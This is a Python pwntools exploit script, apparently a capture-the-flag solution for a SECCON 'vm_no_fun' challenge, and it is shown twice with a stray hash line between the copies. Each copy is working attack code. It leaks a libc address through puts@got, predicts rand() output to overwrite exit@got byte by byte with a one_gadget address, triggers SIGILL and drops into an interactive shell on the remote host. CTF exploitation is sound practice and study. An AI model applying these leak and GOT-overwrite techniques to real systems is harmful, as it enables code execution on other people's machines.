from pwn import *
from pwnlib.util.packing import p16, p32, p64, u64
import platform, subprocess, os, pipes

def codepad_c(code):
    return subprocess.check_output('echo %s | \
    xxd -r -ps > /tmp/$$.c;\
    gcc /tmp/$$.c -o /tmp/$$.bin;\
    /tmp/$$.bin;\
    rm /tmp/$$.*' % code.encode('hex'), shell=True)

OPERAND_REG   = 0
OPERAND_IMM   = 1
OPERAND_MEM   = 2
OPERAND_STACK = 3
OP_MASK = 31
OP_WORD = 32
OP_BYTE = 64

REG_AX   =  0
REG_BX   =  1
REG_CX   =  2
REG_DX   =  3
REG_CS   =  4
REG_DS   =  5
REG_SS   =  6
REG_ES   =  7
REG_SI   =  8
REG_DI   =  9
REG_BP    = 10
REG_SP    = 11
REG_FLAGS = 12
REG_IP    = 13

VM2_REG_AX    = 11
VM2_REG_BX    = 3
VM2_REG_CX    = 13
VM2_REG_DX    = 5
VM2_REG_CS    = 8
VM2_REG_DS    = 10
VM2_REG_SS    = 1
VM2_REG_ES    = 7
VM2_REG_SI    = 0
VM2_REG_DI    = 2
VM2_REG_BP    = 12
VM2_REG_SP    = 9
VM2_REG_FLAGS = 4
VM2_REG_IP    = 6

VM3_REG_AX    = 10
VM3_REG_BX    = 6
VM3_REG_CX    = 1
VM3_REG_DX    = 2
VM3_REG_CS    = 9
VM3_REG_DS    = 3
VM3_REG_SS    = 0
VM3_REG_ES    = 4
VM3_REG_SI    = 13
VM3_REG_DI    = 11
VM3_REG_BP    = 8
VM3_REG_SP    = 7
VM3_REG_FLAGS = 12
VM3_REG_IP    = 5

VM1_OPCODE_NOP       = 0x90
VM1_OPCODE_MOV       = 0x89
VM1_OPCODE_ADD       = 0x1
VM1_OPCODE_SUB       = 0x29
VM1_OPCODE_XOR       = 0x31
VM1_OPCODE_MUL       = 0xf6
VM1_OPCODE_DIV       = 0xf7
VM1_OPCODE_PUSH_WORD = 0x50
VM1_OPCODE_POP_WORD  = 0x57
VM1_OPCODE_PUSH_BYTE = 0x51
VM1_OPCODE_POP_BYTE  = 0x58
VM1_OPCODE_HLT       = 0xf4
VM1_OPCODE_OUT       = 0x0b
VM1_OPCODE_IN        = 0x0c
VM1_OPCODE_CMP_WORD  = 0x38
VM1_OPCODE_CMP_BYTE  = 0x39
VM1_OPCODE_CALL      = 0xe8
VM1_OPCODE_RET       = 0xc3
VM1_OPCODE_JE        = 0x4f
VM1_OPCODE_JNE       = 0x5f
VM1_OPCODE_JMP       = 0xe9

VM2_OPCODE_NOP       = 0x92
VM2_OPCODE_MOV       = 0x28
VM2_OPCODE_ADD       = 0x82
VM2_OPCODE_SUB       = 0xb4
VM2_OPCODE_XOR       = 0x29
VM2_OPCODE_MUL       = 0x60
VM2_OPCODE_DIV       = 0x7e
VM2_OPCODE_PUSH_WORD = 0x88
VM2_OPCODE_POP_WORD  = 0x20
VM2_OPCODE_PUSH_BYTE = 0x93
VM2_OPCODE_POP_BYTE  = 0xda
VM2_OPCODE_HLT       = 0x83
VM2_OPCODE_OUT       = 0x85
VM2_OPCODE_IN        = 0xdb
VM2_OPCODE_CMP_WORD  = 0xec
VM2_OPCODE_CMP_BYTE  = 0x04
VM2_OPCODE_CALL      = 0x8a
VM2_OPCODE_RET       = 0xbc
VM2_OPCODE_JE        = 0x51
VM2_OPCODE_JNE       = 0x57
VM2_OPCODE_JMP       = 0x75

VM3_OPCODE_NOP       = 0
VM3_OPCODE_MOV       = 1
VM3_OPCODE_ADD       = 2
VM3_OPCODE_SUB       = 3
VM3_OPCODE_XOR       = 4
VM3_OPCODE_MUL       = 5
VM3_OPCODE_DIV       = 6
VM3_OPCODE_PUSH_WORD = 7
VM3_OPCODE_POP_WORD  = 8
VM3_OPCODE_PUSH_BYTE = 9
VM3_OPCODE_POP_BYTE  = 10
VM3_OPCODE_HLT       = 11
VM3_OPCODE_OUT       = 12
VM3_OPCODE_IN        = 13
VM3_OPCODE_CMP_WORD  = 14
VM3_OPCODE_CMP_BYTE  = 15
VM3_OPCODE_CALL      = 16
VM3_OPCODE_RET       = 17
VM3_OPCODE_JE        = 18
VM3_OPCODE_JNE       = 19
VM3_OPCODE_JMP       = 20
VM3_OPCODE_RDRAND    = 21

VM3_OP1_TYPE = (3 << 8)
VM3_OP1_REG  = (1 << 8)
VM3_OP1_IMM  = (2 << 8)
VM3_OP1_MEM  = (3 << 8)
VM3_OP1_SIZE = (3 << 10)
VM3_OP1_WORD = (1 << 10)
VM3_OP1_BYTE = (2 << 10)
VM3_OP2_TYPE = (3 << 12)
VM3_OP2_REG  = (1 << 12)
VM3_OP2_IMM  = (2 << 12)
VM3_OP2_MEM  = (3 << 12)
VM3_OP2_SIZE = (3 << 14)
VM3_OP2_WORD = (1 << 14)
VM3_OP2_BYTE = (2 << 14)


def vm_asm(ins, *args):
    result = ''
    result += chr(ins)
    result += chr(len(args))
    if len(args):
        for arg in args:
            result += arg
    # print result.encode('hex')
    return result


def vm2_asm(ins, *args):
    result = ''
    result += chr(ins)
    if len(args):
        for arg in args:
            result += arg[1:] + arg[0]
    result = result.ljust(11, '\x00')
    # print result.encode('hex')
    return result


def arg_reg(num):
    return chr(32) + p16(num)


def arg_reg4(num):
    return '\x20' + p32(num)


def arg_imm(value):
    return '\x21' + p16(value)


def arg_imm4(value):
    return '\x21' + p32(value)


def arg_mem(num):
    return '\x22' + p16(num)


def arg_mem4(num):
    return '\x22' + p32(num)


def vm3_operand(op):
    if op[0] == 'word':
        pass
    elif op[0] == 'byte':
        pass
    else:
        raise ValueError


def vm3_asm(ins, operand_info, *args):
    result = ''
    result += p16(ins | operand_info)
    if len(args):
        for arg in args:
            result += arg
    # print result.encode('hex')
    return result


def send(data):
    s.send(p32(len(data)) + data)


s = remote('vm_no_fun.pwn.seccon.jp', 30203)
s.verbose = False

code2 = ''
code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SS), arg_imm4(0))
# puts@got
code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SP), arg_imm4(-(0x215100 - 0x205020) & 0xffffffff))
code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_AX))
code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_BX))

code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_DS), arg_reg4(VM2_REG_ES))
code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(0), arg_reg4(VM2_REG_AX))
code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(4), arg_reg4(VM2_REG_BX))

code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_AX), arg_imm4(8))
code2 += vm2_asm(VM2_OPCODE_OUT)

code2 += vm2_asm(VM2_OPCODE_HLT)
code2 = code2.ljust(0x800, '\x00')

code = ''
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600))
code += vm_asm(VM1_OPCODE_IN)
code += vm_asm(VM1_OPCODE_HLT)

# select VM1
s.readuntil('\n')
s.send('\x01')
s.readuntil('\n')
send(code)
send(code2)

# select VM2
s.readuntil('\n')
s.send('\x02')
s.readuntil('\n')

# clear VM1
s.readuntil('\n')
s.send('\x04')
s.readuntil('\n')

# select VM1
s.readuntil('\n')
s.send('\x01')
s.readuntil('A\n')

code = ''
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x800))
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_AX), arg_imm(0x8))
code += vm_asm(VM1_OPCODE_OUT)
code += vm_asm(VM1_OPCODE_HLT)
send(code)

libc_base = u64(s.recv(8)) - 0x6f690

#########################
# leak done
#########################

# clear VM1
s.readuntil('\n')
s.send('\x04')

# clear VM2
s.readuntil('\n')
s.send('\x05')

# clear VM3
s.readuntil('\n')
s.send('\x06')


def execute_vm3(c):
    code2_ = ''
    code2_ += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_ES), arg_imm4(0x600 - 0x80))
    code2_ += vm2_asm(VM2_OPCODE_IN)
    code2_ += vm2_asm(VM2_OPCODE_HLT)
    code2_ = code2_.ljust(0x800, '\x00')
    code2_ += c

    code_ = ''
    code_ += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600))
    code_ += vm_asm(VM1_OPCODE_IN)
    code_ += vm_asm(VM1_OPCODE_HLT)

    # select VM1
    s.readuntil('\n')
    s.send('\x01')
    s.readuntil('A\n')

    send(code_)
    send(code2_)

    # select VM2
    s.readuntil('\n')
    s.send('\x02')
    s.readuntil('\n')

    # select VM3
    s.readuntil('\n')
    s.send('\x03')
    s.readuntil('\n')


def rand_solver(prev_, required):
    return int(codepad_c('''
#include <stdio.h>
#include <stdlib.h>

int main() {
    int i;
    int x = 0;
    srand(0x31337);
    for(i = 0; i < 0x10000; i++) {
        if ((rand() & 0xff) == %d && i > %d)
            break;
    }
    printf("%%d", i);
    return x;
}
''' % (required, prev_)))


# one_gadget
write_value = libc_base + 0x4526a

prev = 0

for i in xrange(8):
    cur = rand_solver(prev + i, write_value & 0xff)
    write_value >>= 8

    code3 = ''
    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DI), p16(0))
    code3 += vm3_asm(VM3_OPCODE_RDRAND, 0) * (cur - prev)

    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DS), p16(0))
    # exit@got
    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DI), p16(-(0x2050C0 - 0x205078 - i) & 0xffff))
    code3 += vm3_asm(VM3_OPCODE_RDRAND, 0)
    code3 += vm3_asm(VM3_OPCODE_HLT, 0)
    execute_vm3(code3)

    prev = cur + 1

# raise SIGILL
execute_vm3('\xff')

print '$$$'
s.interactive()

s.close()

3b106b2aca106fb4c866a24e7449104c10e01903
from pwn import *
from pwnlib.util.packing import p16, p32, p64, u64
import platform, subprocess, os, pipes

def codepad_c(code):
    return subprocess.check_output('echo %s | \
    xxd -r -ps > /tmp/$$.c;\
    gcc /tmp/$$.c -o /tmp/$$.bin;\
    /tmp/$$.bin;\
    rm /tmp/$$.*' % code.encode('hex'), shell=True)

OPERAND_REG   = 0
OPERAND_IMM   = 1
OPERAND_MEM   = 2
OPERAND_STACK = 3
OP_MASK = 31
OP_WORD = 32
OP_BYTE = 64

REG_AX   =  0
REG_BX   =  1
REG_CX   =  2
REG_DX   =  3
REG_CS   =  4
REG_DS   =  5
REG_SS   =  6
REG_ES   =  7
REG_SI   =  8
REG_DI   =  9
REG_BP    = 10
REG_SP    = 11
REG_FLAGS = 12
REG_IP    = 13

VM2_REG_AX    = 11
VM2_REG_BX    = 3
VM2_REG_CX    = 13
VM2_REG_DX    = 5
VM2_REG_CS    = 8
VM2_REG_DS    = 10
VM2_REG_SS    = 1
VM2_REG_ES    = 7
VM2_REG_SI    = 0
VM2_REG_DI    = 2
VM2_REG_BP    = 12
VM2_REG_SP    = 9
VM2_REG_FLAGS = 4
VM2_REG_IP    = 6

VM3_REG_AX    = 10
VM3_REG_BX    = 6
VM3_REG_CX    = 1
VM3_REG_DX    = 2
VM3_REG_CS    = 9
VM3_REG_DS    = 3
VM3_REG_SS    = 0
VM3_REG_ES    = 4
VM3_REG_SI    = 13
VM3_REG_DI    = 11
VM3_REG_BP    = 8
VM3_REG_SP    = 7
VM3_REG_FLAGS = 12
VM3_REG_IP    = 5

VM1_OPCODE_NOP       = 0x90
VM1_OPCODE_MOV       = 0x89
VM1_OPCODE_ADD       = 0x1
VM1_OPCODE_SUB       = 0x29
VM1_OPCODE_XOR       = 0x31
VM1_OPCODE_MUL       = 0xf6
VM1_OPCODE_DIV       = 0xf7
VM1_OPCODE_PUSH_WORD = 0x50
VM1_OPCODE_POP_WORD  = 0x57
VM1_OPCODE_PUSH_BYTE = 0x51
VM1_OPCODE_POP_BYTE  = 0x58
VM1_OPCODE_HLT       = 0xf4
VM1_OPCODE_OUT       = 0x0b
VM1_OPCODE_IN        = 0x0c
VM1_OPCODE_CMP_WORD  = 0x38
VM1_OPCODE_CMP_BYTE  = 0x39
VM1_OPCODE_CALL      = 0xe8
VM1_OPCODE_RET       = 0xc3
VM1_OPCODE_JE        = 0x4f
VM1_OPCODE_JNE       = 0x5f
VM1_OPCODE_JMP       = 0xe9

VM2_OPCODE_NOP       = 0x92
VM2_OPCODE_MOV       = 0x28
VM2_OPCODE_ADD       = 0x82
VM2_OPCODE_SUB       = 0xb4
VM2_OPCODE_XOR       = 0x29
VM2_OPCODE_MUL       = 0x60
VM2_OPCODE_DIV       = 0x7e
VM2_OPCODE_PUSH_WORD = 0x88
VM2_OPCODE_POP_WORD  = 0x20
VM2_OPCODE_PUSH_BYTE = 0x93
VM2_OPCODE_POP_BYTE  = 0xda
VM2_OPCODE_HLT       = 0x83
VM2_OPCODE_OUT       = 0x85
VM2_OPCODE_IN        = 0xdb
VM2_OPCODE_CMP_WORD  = 0xec
VM2_OPCODE_CMP_BYTE  = 0x04
VM2_OPCODE_CALL      = 0x8a
VM2_OPCODE_RET       = 0xbc
VM2_OPCODE_JE        = 0x51
VM2_OPCODE_JNE       = 0x57
VM2_OPCODE_JMP       = 0x75

VM3_OPCODE_NOP       = 0
VM3_OPCODE_MOV       = 1
VM3_OPCODE_ADD       = 2
VM3_OPCODE_SUB       = 3
VM3_OPCODE_XOR       = 4
VM3_OPCODE_MUL       = 5
VM3_OPCODE_DIV       = 6
VM3_OPCODE_PUSH_WORD = 7
VM3_OPCODE_POP_WORD  = 8
VM3_OPCODE_PUSH_BYTE = 9
VM3_OPCODE_POP_BYTE  = 10
VM3_OPCODE_HLT       = 11
VM3_OPCODE_OUT       = 12
VM3_OPCODE_IN        = 13
VM3_OPCODE_CMP_WORD  = 14
VM3_OPCODE_CMP_BYTE  = 15
VM3_OPCODE_CALL      = 16
VM3_OPCODE_RET       = 17
VM3_OPCODE_JE        = 18
VM3_OPCODE_JNE       = 19
VM3_OPCODE_JMP       = 20
VM3_OPCODE_RDRAND    = 21

VM3_OP1_TYPE = (3 << 8)
VM3_OP1_REG  = (1 << 8)
VM3_OP1_IMM  = (2 << 8)
VM3_OP1_MEM  = (3 << 8)
VM3_OP1_SIZE = (3 << 10)
VM3_OP1_WORD = (1 << 10)
VM3_OP1_BYTE = (2 << 10)
VM3_OP2_TYPE = (3 << 12)
VM3_OP2_REG  = (1 << 12)
VM3_OP2_IMM  = (2 << 12)
VM3_OP2_MEM  = (3 << 12)
VM3_OP2_SIZE = (3 << 14)
VM3_OP2_WORD = (1 << 14)
VM3_OP2_BYTE = (2 << 14)


def vm_asm(ins, *args):
    result = ''
    result += chr(ins)
    result += chr(len(args))
    if len(args):
        for arg in args:
            result += arg
    # print result.encode('hex')
    return result


def vm2_asm(ins, *args):
    result = ''
    result += chr(ins)
    if len(args):
        for arg in args:
            result += arg[1:] + arg[0]
    result = result.ljust(11, '\x00')
    # print result.encode('hex')
    return result


def arg_reg(num):
    return chr(32) + p16(num)


def arg_reg4(num):
    return '\x20' + p32(num)


def arg_imm(value):
    return '\x21' + p16(value)


def arg_imm4(value):
    return '\x21' + p32(value)


def arg_mem(num):
    return '\x22' + p16(num)


def arg_mem4(num):
    return '\x22' + p32(num)


def vm3_operand(op):
    if op[0] == 'word':
        pass
    elif op[0] == 'byte':
        pass
    else:
        raise ValueError


def vm3_asm(ins, operand_info, *args):
    result = ''
    result += p16(ins | operand_info)
    if len(args):
        for arg in args:
            result += arg
    # print result.encode('hex')
    return result


def send(data):
    s.send(p32(len(data)) + data)


s = remote('vm_no_fun.pwn.seccon.jp', 30203)
s.verbose = False

code2 = ''
code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SS), arg_imm4(0))
# puts@got
code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_SP), arg_imm4(-(0x215100 - 0x205020) & 0xffffffff))
code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_AX))
code2 += vm2_asm(VM2_OPCODE_POP_WORD, arg_reg4(VM2_REG_BX))

code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_DS), arg_reg4(VM2_REG_ES))
code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(0), arg_reg4(VM2_REG_AX))
code2 += vm2_asm(VM2_OPCODE_MOV, arg_mem4(4), arg_reg4(VM2_REG_BX))

code2 += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_AX), arg_imm4(8))
code2 += vm2_asm(VM2_OPCODE_OUT)

code2 += vm2_asm(VM2_OPCODE_HLT)
code2 = code2.ljust(0x800, '\x00')

code = ''
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600))
code += vm_asm(VM1_OPCODE_IN)
code += vm_asm(VM1_OPCODE_HLT)

# select VM1
s.readuntil('\n')
s.send('\x01')
s.readuntil('\n')
send(code)
send(code2)

# select VM2
s.readuntil('\n')
s.send('\x02')
s.readuntil('\n')

# clear VM1
s.readuntil('\n')
s.send('\x04')
s.readuntil('\n')

# select VM1
s.readuntil('\n')
s.send('\x01')
s.readuntil('A\n')

code = ''
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x800))
code += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_AX), arg_imm(0x8))
code += vm_asm(VM1_OPCODE_OUT)
code += vm_asm(VM1_OPCODE_HLT)
send(code)

libc_base = u64(s.recv(8)) - 0x6f690

#########################
# leak done
#########################

# clear VM1
s.readuntil('\n')
s.send('\x04')

# clear VM2
s.readuntil('\n')
s.send('\x05')

# clear VM3
s.readuntil('\n')
s.send('\x06')


def execute_vm3(c):
    code2_ = ''
    code2_ += vm2_asm(VM2_OPCODE_MOV, arg_reg4(VM2_REG_ES), arg_imm4(0x600 - 0x80))
    code2_ += vm2_asm(VM2_OPCODE_IN)
    code2_ += vm2_asm(VM2_OPCODE_HLT)
    code2_ = code2_.ljust(0x800, '\x00')
    code2_ += c

    code_ = ''
    code_ += vm_asm(VM1_OPCODE_MOV, arg_reg(REG_ES), arg_imm(0x600))
    code_ += vm_asm(VM1_OPCODE_IN)
    code_ += vm_asm(VM1_OPCODE_HLT)

    # select VM1
    s.readuntil('\n')
    s.send('\x01')
    s.readuntil('A\n')

    send(code_)
    send(code2_)

    # select VM2
    s.readuntil('\n')
    s.send('\x02')
    s.readuntil('\n')

    # select VM3
    s.readuntil('\n')
    s.send('\x03')
    s.readuntil('\n')


def rand_solver(prev_, required):
    return int(codepad_c('''
#include <stdio.h>
#include <stdlib.h>

int main() {
    int i;
    int x = 0;
    srand(0x31337);
    for(i = 0; i < 0x10000; i++) {
        if ((rand() & 0xff) == %d && i > %d)
            break;
    }
    printf("%%d", i);
    return x;
}
''' % (required, prev_)))


# one_gadget
write_value = libc_base + 0x4526a

prev = 0

for i in xrange(8):
    cur = rand_solver(prev + i, write_value & 0xff)
    write_value >>= 8

    code3 = ''
    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DI), p16(0))
    code3 += vm3_asm(VM3_OPCODE_RDRAND, 0) * (cur - prev)

    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DS), p16(0))
    # exit@got
    code3 += vm3_asm(VM3_OPCODE_MOV,
                     VM3_OP1_REG | VM3_OP1_WORD | VM3_OP2_IMM | VM3_OP2_WORD,
                     p16(VM3_REG_DI), p16(-(0x2050C0 - 0x205078 - i) & 0xffff))
    code3 += vm3_asm(VM3_OPCODE_RDRAND, 0)
    code3 += vm3_asm(VM3_OPCODE_HLT, 0)
    execute_vm3(code3)

    prev = cur + 1

# raise SIGILL
execute_vm3('\xff')

print '$$$'
s.interactive()

s.close()
